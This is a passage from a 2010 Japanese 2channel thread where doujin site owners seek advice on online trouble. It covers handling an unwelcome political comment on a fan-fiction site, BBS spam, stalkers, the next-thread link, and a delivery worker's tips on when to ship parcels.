と現在可決されるかどうかで割れている某法案についてのリンクがはられていました。
その法案の事は私も知っているし、危機感を持ってはいるんですが、そもそも小説でその台詞を使った事に
政治的意図はなく、そもそも同人サイトで政治の話はどうよという思いもありまして返答に困っています。

１．政治的意図はなく、返信しかねる旨を書く。
２．法案に対して承知はしているし、危機感は持っているが、同人サイトでリンクを張るのは無理と返信。
３．当方が別HN・別ブログで政治関係を扱っているのでそっちへ誘導（そちらではその話題もちらほら
書いている。
４．拍手の調子が悪かったようで……と回避。

そもそも小説だけを楽しんで頂ければという方針で、作品の感想すらUPしていない、
自分の事等を書かないと言うスタンスでやって来たので、３はないかなぁと思うのですが、
興味がないというスタンスで切り捨てると粘着されるんじゃないかという心配もあります。
拍手からのコメントで、相手側のメールアドレスも解らず、返信を他の閲覧者も見れると言う事もありまして、
どれが一番無難なのかご意見聞かせて頂きたいです。
上記以外にいいご意見があれば是非教えて頂きたいです。

慣れない書きこみで文章解りにくかったら申し訳ありません。よろしくお願いいたします。

957 ：スペースNo.な-74：2010/01/28(木) 11:15:54

別ブログの存在が虹夢サイトのROMに、
逆に別ブログのROMに虹夢サイトがばれて構わないなら、3

政治と夢を完全に切り離しておきたいなら、1/2

悩んでいるなら、そんな※は来なかったで、4

958 ：スペースNo.な-74：2010/01/28(木) 11:30:28

絶対４。
「拍手の調子が…」という方便すら使わず完全に無視したほうがいい。

959 ：スペースNo.な-74：2010/01/28(木) 11:32:00

>>956
選択肢に入る時点で紹介したいんじゃないかなと思った＞３

960 ：スペースNo.な-74：2010/01/28(木) 11:33:27

「拍手の調子が悪くて返信が来なかった」だと、>>956の反応があるまで
何度でも送ってきそうだしね
完全スルーがいいと思う

スレ立て行ってこようとURL確認してたんだが
ttp://www.ii-park.net/~nanashi/linksitetech.html
ここは閉鎖したのかな？
テンプレから外しちゃっていいんだろうか

961 ：スペースNo.な-74：2010/01/28(木) 13:29:19

>>956
自分も完全スルーに同意。相手にしたら粘着しそうだ

>>960
自分もリンク先確認してたところだったが
閉鎖してるなら外しても構わないと思う

キャッシュを見たいとかの理由でアドレスが必要なら
ttp://shirayuki.saiin.net/~kanri801/
のサイト内にリンクがあるし、いいんじゃないか？

あとは同人板に戻るわけだし、テンプレを同人板時代のに戻しますかね。

962 ：スペースNo.な-74：2010/01/28(木) 13:45:35

ﾌﾟﾁですが

BBSにスパムが書き込まれるのですが
どんな禁止語句を設定すれば書き込まれなくなりますか？

963 ：スペースNo.な-74：2010/01/28(木) 14:04:26

>>962
スパムをよく読め

964 ：スペースNo.な-74：2010/01/28(木) 15:48:16

>>956
感想にだけお礼して某法案については完全スルー、という方法もある

>>962
同じ文面でないのなら、しばらくの間
　・管理者以外書き込み禁止又は許可制
　・BBS撤去
にしたらそのうちいなくなるよ

965 ：961：2010/01/28(木) 16:23:56

次スレ同人板に立ててきました。

【同人】ネットで困ったこと相談所＝その80＝
http://changi.2ch.net/test/read.cgi/doujin/1264662996/

>>960のアドレスは閉鎖のようなのでテンプレから外しました。

966 ：スペースNo.な-74：2010/01/28(木) 17:08:29

>>965
乙！

967 ：スペースNo.な-74：2010/01/28(木) 17:20:50

>>965乙

968 ： ◆C7aKFB8MSA ：2010/01/28(木) 19:08:32

939です。レスありがとうございました。

レスを参考に、リンクを工事中にしてメールは無視します。
Aにも伝えて、徐々に切っていく方向で頑張ります。
Bは相互が自分とAの２人しかいない状況なので、
余計粘着してきたのかなと今になって思いました。
アク禁も方法を調べてやってみようと思います。

もしまだ粘着してくるようなら
＞迷惑なのでやめて下さい。今後は返信もしません。リンクも剥がします。
でいこうと思います。
困っていたので助かりました。ありがとうございました。

969 ：スペースNo.な-74：2010/01/28(木) 20:48:53

>>934
はジュリ厨の自作自演でネタですので
今後現れてもスルーしてください

970 ：スペースNo.な-74：2010/01/28(木) 22:20:24

>>965乙
スレ違いかもだけど埋めがてら

少し前にメール便トラブルの話題があったけど
誤配が続くようならその都度サービスセンターに電話した方がいい
営業所に直でかけると口頭注意だけとかで
クレーム記録に残らない事があると思う

メール便を送るなら速達で出すと
優先順位が高くなるから扱いがよくなる
金・土辺りに発送すれば比較的数が少ない月曜に配達される事がある
(ため込む確率が低い)
月の始めと終わり、季節の変わり目は発送が多く
配達が遅れたりする可能性もあるからなるべく避けてみる

場所によって対応がまちまちかもしれないんで一概には言えないけど
これで配完率が上がるんじゃないかと思う
メール便の評判が悪くてちょっと悲しい中の人より

971 ：スペースNo.な-74：2010/01/28(木) 23:01:18

>>970
な、中の人乙…。
メール便は同人じゃないけど結構使ってるんで参考にさせてもらいます
…でも確かに月始めと終わり、季節の変わり目が一番利用が多いんだよなー

972 ：970：2010/01/29(金) 21:35:55

>>971
月イチや四半期の周期で通販カタログ等が大量に発送されるんだ
カタログはでかい分厚いで場所とるし、仕分けも配達もかなり大変
それに紛れこむと配達が遅れたりする事がある

そういう時、週末発送→月曜配達を狙えば
誤配や配達遅延をある程度回避できると思う
速達で出せばさらに確率があがる
ちなみに月曜に配達するメール便の数が少ないのは
メール便を利用する企業の多くが週末休みで発送がないから
これは連休にも当てはまるんで
連休の中頃～連休明けすぐは閑古な事が多い(年末年始除く)
逆に仕事が始まる休み明け(月曜)に企業が発送開始するんで
水・木辺りはけっこう多かったりする

そういえば書いてて思い出したけど
夏冬のでかいイベント後あたりに大抵通販カタログの大量発送がある
イベント終わってすぐに通販の発送でメール便使うと巻き込まれるかも
2～3週間ぐらい間を置くか、すぐ送りたいなら速達使った方がいい

仕事なんだからどんな状況でもちゃんと配達しろよと言われたら
返す言葉もないんだけど…長々とスレ違いな話題でスマン

973 ：スペースNo.な-74：2010/01/29(金) 21:48:09

>970
乙です
結構これ参考になると思う
このスレあと少しで落ちると思うともったいないな

974 ：スペースNo.な-74：2010/01/29(金) 21:58:12

>>970
すごく役に立つ情報だわ、ありがとう。

975 ：スペースNo.な-74：2010/01/29(金) 23:08:20

>970と>972はテンプレかまとめにでも載ってるといいかもね
豆知識的に

あーでもネ困ではないか…
通販スレとか…？

976 ：スペースNo.な-74：2010/01/29(金) 23:48:42

通販スレなら今更・・・ってな反応かも
その土地の事業所のクオリティは企業によってまちまちだから
A町ではメール便でもネコが確実とか〒が確実とか
B町では逆に他の企業の方が良かったりとか色々あるみたいだしね

977 ：スペースNo.な-74：2010/01/30(土) 00:13:20

転載されてっけどね通販スレ
役にたつと思ったらそっちでテンプレ化すんじゃね

978 ：スペースNo.な-74：2010/01/30(土) 11:39:29

通販スレは用がないから覗かないけどネこまは覗いてる
そしてちょいちょいメール便を使ってるんで
今回の話はとても役立ったよ

979 ：スペースNo.な-74：2010/01/31(日) 00:28:28

まあでもネットで困った事ではないからこっちで
テンプレにしてしまうのは違うな

980 ：スペースNo.な-74：2010/01/31(日) 07:06:39

さっさと980越えさせて落としちゃおうぜ
相談者も書き込みづらそうだし

981 ：スペースNo.な-74：2010/01/31(日) 10:50:57

次スレ案内

【同人】ネットで困ったこと相談所＝その80＝
http://changi.2ch.net/test/read.cgi/doujin/1264662996/

982 ：スペースNo.な-74：2010/01/31(日) 14:13:37

ふはは、これでこのスレも虫の息だな

983 ：スペースNo.な-74：2010/01/31(日) 17:29:21

書き込んだ後に規制に巻き込まれてしまい
お礼が遅れてしまいました、>>934です

通報ワードがなくてもプロバイダに通報できるんですね
あまりに酷くなるようなら通報、プロバイダごと悪禁も考えています
また晒されるのは嫌ですが、荒らしに反応せず通常通り運営していきます
みなさんアドバイスありがとうございました

984 ：スペースNo.な-74：2010/01/31(日) 21:26:17

配達の集中するブツのサイズや周期とか結構地域差あるけどな。

985 ：スペースNo.な-74：2010/02/01(月) 19:56:21

一概には言えないけどって書いてあるやん